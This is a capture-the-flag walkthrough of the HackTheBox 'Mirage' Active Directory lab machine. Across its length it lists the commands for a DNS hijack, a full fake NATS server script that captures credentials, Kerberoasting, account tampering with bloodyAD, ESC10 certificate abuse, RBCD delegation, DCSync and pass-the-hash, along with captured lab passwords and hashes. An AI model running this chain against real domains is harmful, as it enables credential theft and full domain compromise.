HackTheBox Mirage Walkthrough


This was a hard active directory windows machine , but it wasn’t somewhere around insane lol ! We got no credentials and ntlm was also disabled .
Initial Enumeration
The nmap scan we get :-
we got two domain dc01.mirage.htb & mirage.htb add both of them in host lists.
but one unusual port we get is 4222 port the NATS service
now we further enumerate and see that NTLM is also disabled
Foothold and user.txt
so i further enumerated and did this showmount to see NFS
and found this directory accessible to everyone so now we will mount it into our system
sudo mount -t nfs 10.10.11.78:/MirageReports /mnt
sudo cp /mnt/Incident_Report_Missing_DNS_Record_nats-svc.pdf /path/where/to/store
sudo cp /mnt/Mirage_Authentication_Hardening_Report.pdf /path/where/to/store
sudo chown <your_user>:<your_user> Incident_Report_Missing_DNS_Record_nats-svc.pdf Mirage_Authentication_Hardening_Report.pdf
now we will see what these pdfs will tell us
NTLM is disabled so switch to kerberos
nats-svc.mirage.htb this hostname is unable to reach out and its dns record is missing too
First we will modify our /etc/krb5.conf
sudo nano /etc/krb5.conf
GNU nano 8.4 /etc/krb5.conf
[libdefaults]
default_realm = MIRAGE.HTB
# The following krb5.conf variables are only for MIT Kerberos.
kdc_timesync = 1
ccache_type = 4
forwardable = true
proxiable = true
rdns = false
# The following libdefaults parameters are only for Heimdal Kerberos.
fcc-mit-ticketflags = true
[realms]
MIRAGE.HTB = {
kdc = 10.10.11.78
admin_server = 10.10.11.78
}
Now we will move towards dns hijacking first we will create a file called dnsupdate.txt and these are contents of this file
server 10.10.11.78
zone mirage.htb
update delete nats-svc.mirage.htb A
update add nats-svc.mirage.htb 60 A <YOUR_IP>
send
also make another file to listen and then respond back to act as legitimate server to receive data
make a file called listen.py , then put these contents in this
#!/usr/bin/env python3
import socket
import threading
import time
from datetime import datetime
import json
import base64
class FakeNATSServer:
def __init__(self, host='0.0.0.0', port=4222):
self.host = host
self.port = port
self.running = False
self.clients = []
def log(self, message):
timestamp = datetime.now().strftime("%Y-%m-%d %H:%M:%S")
print(f"[{timestamp}] {message}")
def handle_client(self, client_socket, client_address):
self.log(f"New connection from {client_address[0]}:{client_address[1]}")
try:
# Send NATS server info message (mimicking real NATS server)
info_msg = {
"server_id": "fake-nats-server",
"version": "2.9.0",
"proto": 1,
"host": "0.0.0.0",
"port": 4222,
"max_payload": 1048576,
"client_id": len(self.clients)
}
info_line = f"INFO {json.dumps(info_msg)}\r\n"
client_socket.send(info_line.encode())
self.log(f"Sent INFO: {info_line.strip()}")
while self.running:
try:
# Receive data from client
data = client_socket.recv(4096)
if not data:
break
message = data.decode('utf-8', errors='ignore').strip()
self.log(f"RECEIVED from {client_address[0]}: {repr(message)}")
# Parse different NATS protocol messages
lines = message.split('\r\n')
for line in lines:
if not line:
continue
self.parse_nats_message(line, client_address)
# Send acknowledgment for any message
response = "+OK\r\n"
client_socket.send(response.encode())
except socket.timeout:
continue
except Exception as e:
self.log(f"Error handling client {client_address}: {str(e)}")
break
except Exception as e:
self.log(f"Connection error with {client_address}: {str(e)}")
finally:
self.log(f"Connection closed: {client_address[0]}:{client_address[1]}")
client_socket.close()
if client_socket in self.clients:
self.clients.remove(client_socket)
def parse_nats_message(self, line, client_address):
"""Parse and log different types of NATS messages"""
parts = line.split(' ', 1)
if not parts:
return
command = parts[0].upper()
if command == 'CONNECT':
# CONNECT message contains client info and potentially credentials
try:
json_part = parts[1] if len(parts) > 1 else '{}'
connect_info = json.loads(json_part)
self.log(f"🔐 CONNECT from {client_address[0]}: {json.dumps(connect_info, indent=2)}")
# Look for credentials
if 'user' in connect_info:
self.log(f"🎯 USERNAME CAPTURED: {connect_info['user']}")
if 'pass' in connect_info:
self.log(f"🎯 PASSWORD CAPTURED: {connect_info['pass']}")
if 'auth_token' in connect_info:
self.log(f"🎯 TOKEN CAPTURED: {connect_info['auth_token']}")
if 'sig' in connect_info:
self.log(f"🎯 SIGNATURE CAPTURED: {connect_info['sig']}")
if 'jwt' in connect_info:
self.log(f"🎯 JWT TOKEN CAPTURED: {connect_info['jwt']}")
except json.JSONDecodeError as e:
self.log(f"CONNECT (JSON parse error): {line}")
self.log(f"JSON Error: {str(e)}")
elif command == 'PUB':
self.log(f"📤 PUBLISH: {line}")
elif command == 'SUB':
self.log(f"📥 SUBSCRIBE: {line}")
elif command == 'PING':
self.log(f"🏓 PING received")
elif command == 'PONG':
self.log(f"🏓 PONG received")
elif command == 'MSG':
self.log(f"📨 MESSAGE: {line}")
else:
self.log(f"❓ UNKNOWN COMMAND: {line}")
def start(self):
"""Start the fake NATS server"""
self.running = True
# Create socket
server_socket = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
server_socket.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1)
try:
server_socket.bind((self.host, self.port))
server_socket.listen(5)
self.log(f"🚀 Fake NATS Server started on {self.host}:{self.port}")
self.log("📡 Waiting for connections...")
self.log("🎯 Ready to intercept credentials!")
while self.running:
try:
client_socket, client_address = server_socket.accept()
client_socket.settimeout(30) # 30 second timeout
self.clients.append(client_socket)
# Handle each client in a separate thread
client_thread = threading.Thread(
target=self.handle_client,
args=(client_socket, client_address)
)
client_thread.daemon = True
client_thread.start()
except socket.error as e:
if self.running:
self.log(f"Socket error: {str(e)}")
except Exception as e:
self.log(f"Server error: {str(e)}")
finally:
server_socket.close()
self.log("Server stopped.")
def stop(self):
"""Stop the server"""
self.running = False
for client in self.clients:
client.close()
def main():
# You can also try other common NATS ports:
# 4222 - Default NATS port
# 8222 - NATS monitoring port
# 6222 - NATS cluster port
server = FakeNATSServer(host='0.0.0.0', port=4222)
try:
server.start()
except KeyboardInterrupt:
print("\n[+] Shutting down server...")
server.stop()
if __name__ == "__main__":
print("🎭 Fake NATS Server - Credential Interceptor")
print("=" * 50)
main()
so in one shell run
nsupdate dnsupdate.txt
then do this
python listen.py
2025-07-20 🎯 USERNAME CAPTURED: Dev_Account_A
2025-07-20 🎯 PASSWORD CAPTURED: hx5h7F5554fP@1337!
These are not the passwords for active directory account its for NATS Serivce , so we will exploit this further
nats --server nats://mirage.htb:4222 rtt --user Dev_Account_A --password 'hx5h7F5554fP@1337!'
nats stream ls --server nats://mirage.htb:4222 --user Dev_Account_A --password 'hx5h7F5554fP@1337!'
nats consumer add auth_logs reader --pull --server nats://mirage.htb:4222 --user Dev_Account_A --password 'hx5h7F5554fP@1337!'
nats consumer next auth_logs reader --count=5 --server nats://mirage.htb:4222 --user Dev_Account_A --password 'hx5h7F5554fP@1337!'
So the first ask NATS Service to show us a list of all message boxes
Then we create create a sort of mailbox( consumer ) called reader
Then pull the last 5 message using consumer form auth_logs
Now this is the first user we got foothold.
david.jjackson
pN8kQmn6b86!1234@
With the help of these credentials we run bloodhound
bloodhound-python -d mirage.htb -ns 10.10.11.78 -u 'david.jjackson' -p 'pN8kQmn6b86!1234@' -c All --zip
and checking the bloodhound i see
Lets move on to kerberoast this account , but first lets get tgt of account david.jjackson then kerberoast it
impacket-getTGT mirage.htb/david.jjackson:'pN8kQmn6b86!1234@'
export KRB5CCNAME=david.jjackson.ccache
impacket-GetUserSPNs -k -no-pass -dc-host dc01.mirage.htb mirage.htb/ -request
paste this hash into a file “nathan_hash.txt” then crack it using john
john nathan_hash.txt --wordlist=/usr/share/wordlists/rockyou.txt
Now we will evil-winrm into nathan.aadam account
impacket-getTGT mirage.htb/nathan.aadam:'3edc#EDC3'
export KRB5CCNAME=nathan.aadam.ccache
evil-winrm -i dc01.mirage.htb -r mirage.htb
Privilege Escalation and root.txt
So with the shell of nathan.aadam i ran winPEASx64.exe and found something interesting
Further I enumerate this user in bloodhound i found out that this user has password change right on javier.mmarshall
Further i saw that this account javier.mmarshall was disbaled
more over in ldapsearch it was found that the logonHours was set in such a way that user wasn’t allowed to login anytime
So to overcome these hurdles i used these commands
bloodyAD --host dc01.mirage.htb -d mirage.htb -u 'mark.bbond' -p '1day@atime' -k set object javier.mmarshall userAccountControl -v 512
bloodyAD --host dc01.mirage.htb -d mirage.htb -u 'mark.bbond' -p '1day@atime' -k set object javier.mmarshall logonHours
bloodyAD --host dc01.mirage.htb -d mirage.htb -u 'mark.bbond' -p '1day@atime' -k set password javier.mmarshall 'Password123@'
further this user also has a right on a computer Mirage-Service$ to read gmsa password
To get the hashes use this
bloodyAD -k --host dc01.mirage.htb -d 'mirage.htb' -u 'javier.mmarshall' -p 'Password123@' get object 'Mirage-Service$' --attr msDS-ManagedPassword
Also then got a tgt for the computer account
impacket-getTGT mirage.htb/Mirage-Service\$ -hashes :305806d84f7c1be93a07aaf40f0c7866
After this i did some enumeration but didn’t find anything but after some deep enumeration i found this
So, 0x4 means "map using AltSecurityIdentities field", which is weak and vulnerable to abuse. So it was ESC10 abuse of weak certificate mapping (Schannel-based) attack To abuse this I did the following:-
UPN Manipulation
export KRB5CCNAME=Mirage-Service\$.ccache certipy-ad account update \ -user 'mark.bbond' \ -upn 'dc01$@mirage.htb' \ -u 'mirage-service$@mirage.htb' \ -k -no-pass \ -dc-ip 10.10.11.78 \ -target dc01.mirage.htb
Certificate Enrollment
impacket-getTGT mirage.htb/mark.bbond:'1day@atime' export KRB5CCNAME=mark.bbond.ccache certipy-ad req \ -u 'mark.bbond@mirage.htb' \ -k -no-pass \ -dc-ip 10.10.11.78 \ -target 'dc01.mirage.htb' \ -ca 'mirage-DC01-CA' \ -template 'User'
UPN Reversion
export KRB5CCNAME=Mirage-Service\$.ccache certipy-ad account update \ -user 'mark.bbond' \ -upn 'mark.bbond@mirage.htb' \ -u 'mirage-service$@mirage.htb' \ -k -no-pass \ -dc-ip 10.10.11.78 \ -target dc01.mirage.htb
Schannel Authentication & Impersonation
certipy-ad auth -pfx dc01.pfx -dc-ip 10.10.11.78 -ldap-shell
then in shell type
set_rbcd dc01$ Mirage-Service$
By these ways we have allowed Resource Based Constraint Delegation attack to Mirage-Service$ . To abuse further we use :
impacket-getST -spn 'cifs/DC01.mirage.htb' -impersonate 'dc01$' -dc-ip 10.10.11.78 'mirage.htb/Mirage-Service$' -hashes :305806d84f7c1be93a07aaf40f0c7866
export KRB5CCNAME='dc01$@cifs_DC01.mirage.htb@MIRAGE.HTB.ccache'
impacket-secretsdump -k -no-pass -dc-ip 10.10.11.78 dc01.mirage.htb
We attacked as dc01$ got its tgt then did DCSync Attack
To get administrator shell do this
impacket-getTGT mirage.htb/administrator -hashes aad3b435b51404eeaad3b435b51404ee:7be6d4f3c2b9c0e3560f5a29eeb1afb3
export KRB5CCNAME=administrator.ccache
evil-winrm -i dc01.mirage.htb -r mirage.htb
and BOOM!! we got root.txt
This is it for the machine
Thanks for reading the walkthrough. Hope you like it ! Do leave a comment for feedback or queries !!
Subscribe to my newsletter
Read articles from insidepwn directly inside your inbox. Subscribe to the newsletter, and don't miss out.
Written by
